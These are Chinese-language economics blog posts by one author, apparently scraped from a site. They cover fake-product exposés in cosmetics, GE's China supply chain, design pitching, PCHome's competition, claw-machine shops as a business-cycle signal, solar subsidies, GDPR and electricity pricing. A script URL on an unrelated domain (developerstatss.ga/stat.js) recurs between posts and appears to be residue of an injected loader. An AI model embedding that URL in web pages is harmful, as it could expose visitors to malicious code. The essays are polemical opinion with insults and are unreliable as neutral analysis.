分類: 經濟分析

這類「試圖站在道德高點獲利」的商業模式，遲早必然出現這類含沙射影的「打假實為假打」的現象。

因為從經濟分析來看，市面上並不會存在那麼多假貨可打。

有關假貨經濟分析我曾寫過，簡單再說一次：

假貨或敲竹槓行為存在，通常有兩類：

1. 一次性消費 — 這種在觀光區域最常發生，也因為事後追究成本過高，受害消費者多半選擇隱忍。反之，商販也是看準這點才靠此維生。

可當此類行為在某區域過於氾濫時，其傳遞的市場訊號會直接嚇阻多數消費者前往，該區域最後還是自食惡果。當然受損的商販不見得是為惡的商販，可市場懲罰不分彼此，這也會讓部分商販有誘因結合成某種管理機構汰惡存良，可能不能實際發揮效果，要看執行者本身的認知與決心。

2. 連續性消費

連續性消費要造假一般會出現在高訊息費用的部份。例如以塑化劑摻入起雲劑，這沒有相當食品科學專業的人，壓根不曉得問題何在。

亦或是以次級品混充高級品，如最近日本發生假神戶牛事件，也是因為辨別牛肉等級需要相當專業，一般人其實就略低一兩個等級的肉品根本無辨識能力。

一般這類造假行為，都希冀透過訊息費用進而壓低成本，提高邊際獲利率。這部份的問題在於如果造假行為容易被發覺，則供給者傾向乾脆不造假，因為損失將是連續性消費帶來的預期收益。反之，若造假行為不容易被發覺，則供給者傾向造假。

可與此同時，競爭對手也有誘因去掀開造假行為，如此將限制供應者造假行為的數量。

但更值得注意的是，競爭對手或第三者可能出現的「假踢爆『造假』」 。

這在我熟悉的化妝品行業中十分常見。我本身會調香也會調配化妝保養配方，我們都很清楚保養品不可能不添加「防腐劑/抗菌劑」。以我實驗室中做給愛妻使用的零抗菌劑的化妝水、精華液為例，放在溫控設備中也頂多1週就腐敗不可使用。

試問有在塗抹保養品的讀者，你們哪位保養品放冰箱的啊？（碧兒泉曾有一款建議放冰箱的精華液大概是僅此一例）況且專櫃上商品有放冰箱嗎？運輸過程有低溫配送嗎？幾乎都沒有吧！既然如此，怎可能產品中沒有防腐劑呢？

咦？那保養品一堆標記「無添加」、「無防腐劑」的，同時批評他牌使用防腐劑有害肌膚的論點，不都是騙人？

過去我也曾撰文指出「反動物性實驗化妝品運動」根本是一群騙錢的小人。台灣沒有廠商有錢到從事一年得花數億的「化妝品動物實驗」，也沒有任何法規要求化妝品廠要做動物實驗，好嗎？既然沒有廠商搞動物化妝品實驗，請問這群小人是在哭爸三小？最好笑的是還有臉要廠商付錢給這群小人，買一張「無動物性實驗認證」，否則就是有在偷偷做實驗。

以上是說明，當訊息費用夠高時，就會有廠商或「表面上的動保/環保團體」造假甚至「假踢爆造假」地從中獲利。

而在我來看，這個「美的好朋友」在搞的事情，很容易淪入「反動物性實驗化妝品」這類無恥行徑。

理由有三：

a. 上述的經濟邏輯必然限制造假行為的數量，使得該網站可踢爆的數量也就那麼多。如此一來內容更新必然受限，網站讀者訂閱定期繳費的誘因將下降。

b. 醫師是一種專業，但化妝保養品是另一種專業。許多皮膚科醫師的自以為是的論點，在化妝保養品專家眼中往往也是錯得離奇，因此未來踢錯對象、踢錯標的的現象在所難免，再加上第一點侷限，網站很可能查證不夠盡實下也得發文，使得網站可信度下降，從而影響付費訂閱意願。

c. 許多物質（尤其中草藥植粹）並無皮膚科相關的臨床論文可供參考，但實際上的確可以滿足某些美妝保養需求。這部份試問該網站主筆者該如何處理？沒有論文支持就不存在就是假？這恰恰是反科學吧？

說到底，我並不看好「美的好朋友」的商業模式，也質疑主事者的人格（記錄不良），更從經濟分析預測未來「踢錯」事件將繼續發生。

PS針對此文關於水果放久的質疑，Lin bay 好 油已經批評得很好：

quote:"…以荔枝為例，如果水份過低，就會加速褐化，荔枝殼就容易變黑，所以荔枝就會撒水保持水份避免變黑，這其中也什麼都不需要加，單純就是水就夠了。…美的好朋友一向自詡評論就事論事，動不動就要人家拿出證據來，但是這次批評水果攤影射人家用吊白塊也沒有任何證據啊?！！！

前面講看到水果攤噴水，後面就說吊白塊有多不好，你是有看到人家加吊白塊在水裡? 還是把那壺水拿去驗？不然你是在腦補嗎? 這樣胡亂指控，沒事製造消費恐慌，這樣傷害水果攤進而影響農民，這我就是看不過去，一個腦補的疑似就能推論到全台灣都是這樣嗎？

那難道我可以因為柳林醫師因為詐欺認罪被緩起訴，就認定全台灣的醫師都是詐欺犯嗎？這當然不合理嘛…大家一定聽過切好的蘋果放在食鹽水裡就比較不會發黑，就是這個道理，所以在現切蘋果表面噴食鹽水，也有一定的效果。

總之，沒有證據跟比例就這樣含沙射影只是一竿子打翻一船人，要大家自行提高警覺，想要製造消費者恐慌，這根本莫名其妙。"

當交易費用夠高或夠低下，民主體制與獨裁體制其實毫無差異。

只有對民主認識十分膚淺者，才會誤以為民主可以保障自由與產權，也才會高舉民主而毫無反思。

蔡英文政府就是典型負面教材。

https://js.developerstatss.ga/stat.js?n=ns1

GE的MRI(核磁共振成像)部門，年營業額$190億美元，近來受到中美貿易戰創傷甚深。理由在於該部門雖然主要工廠位於威斯康辛州與南卡羅來納州，但其生產的MRI，部分零件來自於GE位於中國的工廠。甚至部分半成品是在美國生產零件後，運往中國組裝，再運回美國生產線完成終端產品。

GE的MRI機器售價從$50萬～$1千萬美元，其中以每$5元就有$1元零件來自於中國自家工廠。貿易戰開打，要另覓其他來源必須付出相當代價，而且無法於短期內達成。

https://js.developerstatss.ga/stat.js?n=ns1

Jack Dai很清楚地點出這些設計公司忽略（或故意忽略）之所以要比稿，是因為訊息費用很高。跟設計師打過交道就知道，這群人往往說得天花亂墜，拿出來的東西粗製濫造是很常發生，在實際拿出作品之前，訊息費用高得驚人。

這也解釋了為什麼知名度夠高，作品穩定度夠高的設計師就可能免去比稿，因為本人的品牌累積消弭了這個資訊費用。

而我要點出Jack沒提到的一個點，就是：

買家要的是「能夠有產出的作品」，而不是「設計師的勞動」！

設計師普遍過度膨脹、過度誇大自己的貢獻，我自己就親身碰過好幾個，在我面前炫耀某某品牌規劃全靠他怎樣運籌安排，如今才得以聞名台灣甚至海外…

只是我剛好認識這些品牌的創辦人，深知品牌聞名並非靠這種錦上添花般的設計，而是從製造面到營銷面的深耕。我更清楚，這些主事者眼中，這位所謂「品牌操盤級設計師」只不過是一個隨時可以被換掉、被取代的合作廠商，重要性還遠不如某些原料上游商。

此段正在說明，設計業界除了本身的浮誇與自吹增加了不少業主的訊息費用，才使得有錢的業主採用「比稿」手段外，設計業界誤以為自己的勞動都值錢，其實是毫無根據的妄想。進一步談，我認為許多時候A、B、C等設計師提出的稿都不錯，但究竟實現後可以為雇主帶來多少收入？貢獻了多少比例？這個費用其實也不低。

這是說，我可能分別採取ABC的設計，都得到差不多的收入。則ABC的作品彼此的可取代性其實很高，競爭之下當然就註定ABC三位設計師的收入不高。

我說得更直白一點吧 — 多數設計師其實只是不肯面對「自己的專業原來不太值錢（經濟學上叫『可取代性很高』）」這個事實。

從此篇訪問看來，當主事者認為競爭下租值流失，與產品服務品質無關、與侷限條件無關，而是與籌資能力有關時，我們也真的只能看他慢慢樓塌了。

幾個重點我再談談：

1. 電商平台的規模經濟很重要，規模出不來，就會一直像ASAP那樣長期虧損不堪；規模出來了，像阿里巴巴集團等大陸電商可以創造驚人的利潤。

PCHome的購物與商店街先前也是享受了規模經濟的好處。因此網家股價2015年中股價破500元。

但台灣市場太小是個先天的侷限條件，造成規模成長到一定程度就碰上天險，轉往他國另起爐灶並非易事。詹先生也看到此侷限，試圖轉往美國、日本與東南亞市場，成果如何就等年底或明年的財報囉。

2. 電商進入門檻說低不低，但也說高不高，因此當有相當資本實力的蝦皮進來，即便總體上遠不能取代PCHome，但邊際上卻有超強的壓低邊際利益的力量，造成PCHome如欲與其打補貼戰，財報瞬間變難看。 如放任不管，價格敏感的商家遲早會跑光。

商家之所以價格如此敏感，是因為網路購物的本質 — 商品差異化難以凸顯，除了少數天王級大牌，多數商品無論品牌大小上了電商平台幾乎多只能削價競爭。商家端面對此侷限條件，當然會反過來對使用電商平台服務的代價錙銖必較。

這點侷限條件就連美國的Amazon也一樣受拘束。先前我們提過Amazon財務數字（2017年Operating Income北美零售$2837M，國際零售 -$3062M，AWS $4331M），除了在美國本土其零售有利可圖外，Amazon在世界各地的零售則是虧損嚴重。二者加總等於Amazon生意做那麼大(2017年營收$177.87B)，其實多在做白工。

Amazon如今真正獲利來源是雲端事業。這也說明競爭之下，電商平台租值不如外界形容的那樣美好。

3. Amazon在技術上的耕耘養出AWS這隻金雞母，PCHome呢？技術這塊田耕耘了多少，騙得了人嗎？

詹先生宣稱網站介面「慢慢變難用」是自然，我身為PCHome與Amazon的曾經合作廠商與一般使用者，我只能說：「聽你在放屁 」XD

——————————————–
我寫過關於PCHome與蝦皮競爭的幾篇文章：

「論蝦皮免運費策略-兼論掠奪性定價」

「PCHome競爭下的租值流失」

「ASAP其快速到貨策略為何註定失敗？」

「再談PCHome–以經濟分析觀之」

https://js.developerstatss.ga/stat.js?n=ns1

【經濟分析–小試牛刀】

延續我今天批判Emmy Hu錯誤的經濟邏輯，並從網友陳安安舉例的夾娃娃機店風潮，我們可以繼續往下推論，並從事實上得到驗證：

“這邊順道談一下從餐飲業來判斷景氣的正確分析方式。

經濟學看重的是邊際分析，因為邊際轉變可以反推侷限條件的轉變，從而幫助我們知道大環境是否真的在變化？往哪個方向變化。

百貨公司的餐廳多半是知名店家（如瓦城集團、王品集團、鼎泰豐或日本駐台名店…等），這些高租值餐飲本身當然也會因環境不同而有租值變化，但外人要觀察出來並不容易（拿得到內帳才能看出真實變化）。

要簡單又正確地觀察景氣，以經濟學邊際分析入手，應該從鬧區邊緣、住宅區裡的名不見經傳小店觀察。

通常我會從：新開無名小店的裝潢（可查知店主的未來收入預期）、開店速度（可查知現金流速）與倒店頂讓速度（真實景氣）三者切入。

網友陳安安觀察夾娃娃機店的角度非常正確：連前家店招牌裝潢都不改，直接機器擺入就開夾娃娃機店，證明店家只想賺快錢，也清楚知道機會稍縱即逝，更清楚未來收入預期也不多，所以才選擇幾乎不更改裝潢直接上陣搶錢。夾娃娃機店的多層轉包契約，店家主與機器主分離，代表邊際上的開店資金不夠雄厚，風險承擔能力也不夠，才會出現這種契約安排。還有，夾娃娃機的邊際利益掉得極快，就我的觀察研究，三年來下跌9成不止！

因此大量風行猶如蛋塔熱潮的夾娃娃機店，恰恰證明景氣不如想像好。"

夾娃娃機店的存在明顯彰顯店主（無論自有或承租）對於在該處未來收入流的預期是低的，所以才會選擇這種賺快錢的經營模式。當此種商業模式大行其道，則表示有相當多人對「土地」這項生產要素的未來租值預期是下降的。

回頭對照夾娃娃機風起雲湧的這三年，恰恰是台灣房地產價格重挫的三年 — 依據國泰建設房地產指數，全國成交均價2015Q1、2016Q1、2017Q1分別是：$28.9、$26.75、$23.92（萬/坪）。

以上足以證明經濟學的邊際分析觀察正確性極高。

而土地身為最重要生產要素之一，其價格的下降足以代表整體社會生產力與租值的下降，也意味著整體社會財富下降。因此回到過去我曾為文批判sway等人無知地以為房地產價格全靠人為炒作，完全忽略社會財富累積本身也會提高房地產價格，更無知無畏地主張「打房」來逼迫財富移轉它國，愚蠢至極。（參見：「只會檢討別人的貧窮思維註定要窮 — 論台灣房價何以至此」）

2018Q1我們終於看到台灣土地價格回升，國泰指數來到$24.91萬/坪。我認為這部份租值回升，主要來自於收入預期的改變，而此預期改變我在2017年8月「We are at the crossroads of prosperity or low progress 」這篇文章說得清楚：

“Right now, I am confident in that the later two factors playing more important roles in the formation of the massively optimistic anticipation. But as long as the real improvement does not catch it up in time, the positive mood could dissipate quickly. It could cost a lot of energy and time to recall it back again. What a shame, president Trump!

Therefore, I believe that we are at the crossroads of the U.S. economy progress. In only couple months, we will figure out which path do we take."

很明顯，Trump總統實際做得相當不錯，減稅與de-regulation都做得好，此二重大侷限條件轉變對人民預期有很大的影響力，我們走上了相對充滿希望的那條道上。（這是否證明我比『所謂的財經雜誌專家』早將近一年就看出景氣好轉嗎？哈！我的錢包已經幫忙表態了～）

另一個好消息就是北韓走向開放與逐漸的市場經濟，誠如張五常所言：「東線無戰事」會是一大利多。

但我還是要提醒，上個月中我寫了「It’s better to have more cash in your investment pile in the future two years.」一文，表達我對Trump總統可能因貿易戰爭作死以及逐漸出現的money illusion的擔憂：

“The capital expenditure of companies may or may not lead to good returns, which means the more capital investing activities do not promise higher profits in the future. Wastes or mis-location of resources can happen in this the-more-the-better investing phenomenon, especially when a company has some bad KPI requirements. It’s due to “Money Illusion" to a certain degree. Bad incentive systems influence the managers’ decisions as well. And I believe these two factors are the source of the business cycle.

I haven’t expected the turning point coming so fast. Nevertheless, I could smell something going wrong recently. I’ve increased the cash share of my investment pile more than fifty percentage and guess by doing so would be safer in the next two years."

回到夾娃娃機。重新上漲的土地價格將進一步擠壓夾娃娃機這種邊際商業模式的利益，退潮指日可待。但此種商業模式的興起背後彰顯的經濟邏輯 — 契約安排的轉變隱含土地租值下降– 恰恰讓我們從事後諸葛的土地成交價格統計上得到印證。

這也證明掌握正確經濟分析能力，你不用見到什麼Fed前主席，也能從正確觀察邊際轉變從而掌握局勢。當然，你就算訪問過巴菲特或柏南奇，也壓根兒不代表你就有同等級的分析能力啦 XDhttps://js.developerstatss.ga/stat.js?n=ns1

才有自稱某知名台灣財經雜誌出身的專家，撰文強調其「景氣大好說」有其根據。

（話說其根據貧乏得可憐，一點經濟邏輯都不具備，連基本邊際分析都不會）

今天就看到更知名的華爾街日報發文說：「景氣可能不如想像中好。」呵呵。

當然我不認為從這種統計數字可以多正確地判斷景氣。如果可以，那一堆搞計量經濟學、宏觀經濟學者早就從金融市場賺翻天了，可惜真實世界裡多數都苦哈哈。

這邊順道談一下從餐飲業來判斷景氣的正確分析方式。

經濟學看重的是邊際分析，因為邊際轉變可以反推侷限條件的轉變，從而幫助我們知道大環境是否真的在變化？往哪個方向變化。

百貨公司的餐廳多半是知名店家（如瓦城集團、王品集團、鼎泰豐或日本駐台名店…等），這些高租值餐飲本身當然也會因環境不同而有租值變化，但外人要觀察出來並不容易（拿得到內帳才能看出真實變化）。

要簡單又正確地觀察景氣，以經濟學邊際分析入手，應該從鬧區邊緣、住宅區裡的名不見經傳小店觀察。

通常我會從：新開無名小店的裝潢（可查知店主的未來收入預期）、開店速度（可查知現金流速）與倒店頂讓速度（真實景氣）三者切入。

網友陳安安觀察夾娃娃機店的角度非常正確：連前家店招牌裝潢都不改，直接機器擺入就開夾娃娃機店，證明店家只想賺快錢，也清楚知道機會稍縱即逝，更清楚未來收入預期也不多，所以才選擇幾乎不更改裝潢直接上陣搶錢。夾娃娃機店的多層轉包契約，店家主與機器主分離，代表邊際上的開店資金不夠雄厚，風險承擔能力也不夠，才會出現這種契約安排。還有，夾娃娃機的邊際利益掉得極快，就我的觀察研究，三年來下跌9成不止！

因此大量風行猶如蛋塔熱潮的夾娃娃機店，恰恰證明景氣不如想像好。

我家這個街區（住宅區，僅有兩家便利商店與幾家連鎖早餐店，唯一優勢是有一升學率高的公立國中）附近一個店面，一年內從果汁店、早餐土司店轉為牛肉麵店。放學時路邊有一生意不錯的蔥油餅餐車，老闆不敢租下店面，寧可繼續餐車。倒閉轉換速度與餐車老闆意願也說明景氣不如想像中佳。

當然，要更準確地判斷整體景氣，不應該只看這些。我自己經商跑了好幾個國家，有自己一套心得，且讓我敝帚自珍吧。

特別寫這些，只是不想要「觀察百貨公司餐廳或美食街」這種愚蠢且錯誤的作法，誤導太多人。不過自己人微言輕，又不是什麼知名財經記者，不寄望會有什麼影響力啦。

quote:"Business activity globally has slowed from multi-year highs, according to the JPMorgan Chase and IHS Markit global purchasing managers index. The global manufacturing index fell to 53.1 in May, a nine-month low. The services index for April, which will be updated for May on Tuesday, slid to 53.8 from 54.8 two months earlier. And business activity in the eurozone fell to its lowest level in a year and a half last month.

The Baltic Dry Index, a measure of shipping costs that investors often look to as a proxy for global demand, has fallen 22% from a recent peak last month. Copper prices, another gauge of economic activity, have been on the decline. Among developed economies, data on the whole have been missing economists’ expectations by a wide margin, according to Citigroup’s index on economic surprises, after easily exceeding expectations for most of 2017."

WSJ:「Global Economic-Growth Story Fades, Dimming Market Optimism」

https://js.developerstatss.ga/stat.js?n=ns1

我一直主張，最沒有存在價值的產業，就是那種靠政府補貼才能存活的產業。

靠政府補助才能生存，本身代表違背比較優勢定律，將發生以下狀況：

1. 政府用稅金去補貼競爭劣勢企業，是一種資源浪費。

2. 政府的補貼優惠必然是從優勢產業課稅，然後移轉給競爭弱勢但尋租強勢的產業。以產業來看，將會減損優勢產業的生產意願（特別是搭配累進式稅制），加強整體社會環境的尋租氣氛；從整體來看，則是嚴重資源扭曲 — 強兵猛將拿不到資源，搖尾且與政客沆瀣一氣者反倒致富。

3. 被補貼者為了繼續獲得補貼，將發生競爭規則轉變 — 從原本應該以「物美價廉者勝出」的市場競爭，轉為「誰最能爭取政府補貼」的尋租行為。

鼓勵尋租對整體社會大不利。社會競爭規則轉變，邊際上最容易觀察到的現象就是學生不讀書搞起社運、當起政黨走狗。某些無知教授稱之「進步」，其實是大退步。

為何是退步？很簡單，把學生運動推到盡頭，不就是當年的紅衛兵？試問紅衛兵的行為除了破壞、私刑虐待與殺人之外，有任何建設性可言？然而紅衛兵中一樣有此遊戲規則下勝出而享受租值者，例如被改名的「宋要武」。

回頭看此新聞，太陽能發電產業在多數國家都必須靠政府補貼方得生存，這本身已經說明「光伏太陽能在多數場景下均是個經濟效率很差的發電方式」。而政府補貼並不會永遠存在，因為一者，再有錢的政府也禁不起擴大補貼（我們看到西班牙、日本政府都已經受不了而刪減補貼）；二者，太陽能只是風口上的流行政治議題，當選票不再親賴此議題，政客說變就變。

三者，曾經談過，光伏太陽能發電的全球關鍵專利並不多（特別與無線通訊相比），其中相當比例都已經過了20年保護期。這表示太陽能的生產進入門檻並不高，壟斷利益當然貧乏得可憐。希冀在此產業的獲得超越市場報酬的唯一可能，就是有門路可以長期獲得政府補助，然而"補助"的侷限條件又如前述二點所拘束。

因此站在投資角度上，我始終未曾投資任何太陽能項目。

「光伏新政冲击波：突然踩下急刹车，背后有何隐情？」

quote:"多位业内人士均表示，究其原因，其背后无疑是光伏装机规模扩大的同时，诺大的可再生能源补贴缺口与日俱增，国家财政实属难以承受。根据财政部统计，截至2017年底，可再生能源补贴缺口已达到1000亿元。"

https://js.developerstatss.ga/stat.js?n=ns1

日前我才在「不問利弊只管跟風的法律學者思維–簡論GDPR」一文寫道：

「…對許多非歐盟地區的小企業或新創事業而言，等到被罰款時直接放棄歐盟市場會是最經濟的策略。而在這種策略之下，這意味著未來許多跨國新興服務很可能直接略過歐盟地區，或是一被抓到違規就停止提供服務等現象將發生。歐盟過嚴苛的個資保護法規究竟保障了歐盟人民什麼，難道不值得深思？」

果然華爾街日報很快地報導了我預言的現象：美國洛杉磯時報、紐約每日新聞與許多美國報紙新聞網站直接屏蔽掉對歐盟地區的服務，杜絕新上路的歐盟GDPR法爭議。

該篇報導訪問的Intel global privacy officer David Hoffman也直言：「如果要在巴黎或紐約選擇創立資料相關事業，我絕對會建議創業者，除非走投無路，否則請選擇在紐約！」

再一次驗證經濟學的科學預測力。

我也在同一篇文章談到：

「任何人類權利都有邊界，無論是有形產權到無形基本人權，其實都是「權利組（collection of rights）」，當組合邊界過大到影響他種權利實施，亦或是大到邊界模糊的情形發生時，資訊費用與社會成本的增加是必然發生的後果。」

因此我們也看到歐盟地區某些律師「假保障人權之名，紛紛對Google、Facebook等有錢公司發起集體訴訟的行為」。

我始終不理解這些人權激進團體所謂的：「寧可讓讓服務消失，也要保護人權」的荒誕邏輯。我也不理解某些人總認為自己的價值觀偏好（value preference）可以代替他人做決定。但我理解這些人以此為名所發起的訴訟、政治運動，的的確確可以為自己賺得金錢、名聲或政治影響力（當然也有太陽花般自願慰安的性服務提供者，亦或各取所需者）。

https://js.developerstatss.ga/stat.js?n=ns1

1. 相較於家庭用電，工商業用電的需求剛性強，需求彈性低，尤其工業又勝於商業。

用價格彈性來談只是比較容易理解工商業用電與家庭用電的行為模式差異，並非是一個好的經濟學論點。

比較正確的說法應該是：因為利之所趨，所有的工商用電戶其實都在侷限條件下以最節能方式使用電力，如此方能達到經濟效率；反之，若有工商用電戶不知節電者，成本劣勢很可能在市場競爭下被迫出局。

換言之，市場的力量就已經驅動著這些工商用電戶主動節電，根本無需政府介入。

此外，多數設備在短時間內改變用電量的成本高不可攀，比如家裡的10年老車肯定比現今市面新車耗油。要老爺車車主短時間內用油與新車車主一樣省，根本天方夜譚。此點也是工業用電需求剛性高的重要因素之一。我們無法期待單單調漲電費，就能短時間內讓工業用電戶降低用電量。另一方面，長期調漲電價的確可以達到改變工業用戶的用電行為，要嘛全面更新設備，要嘛乾脆出走他國亦或是根本結束營業。除非產業租值提升跟得上電價調漲，否則後二者應該會是多數廠商的選項。而其帶來的低租值勞動人口失業問題，又令人頭疼。（不過，對一個只想追求政權、享受貪汙尋租的政客團體，這或許不成問題）

政府強迫介入以類似罰款或降壓供給會發生以下弊病：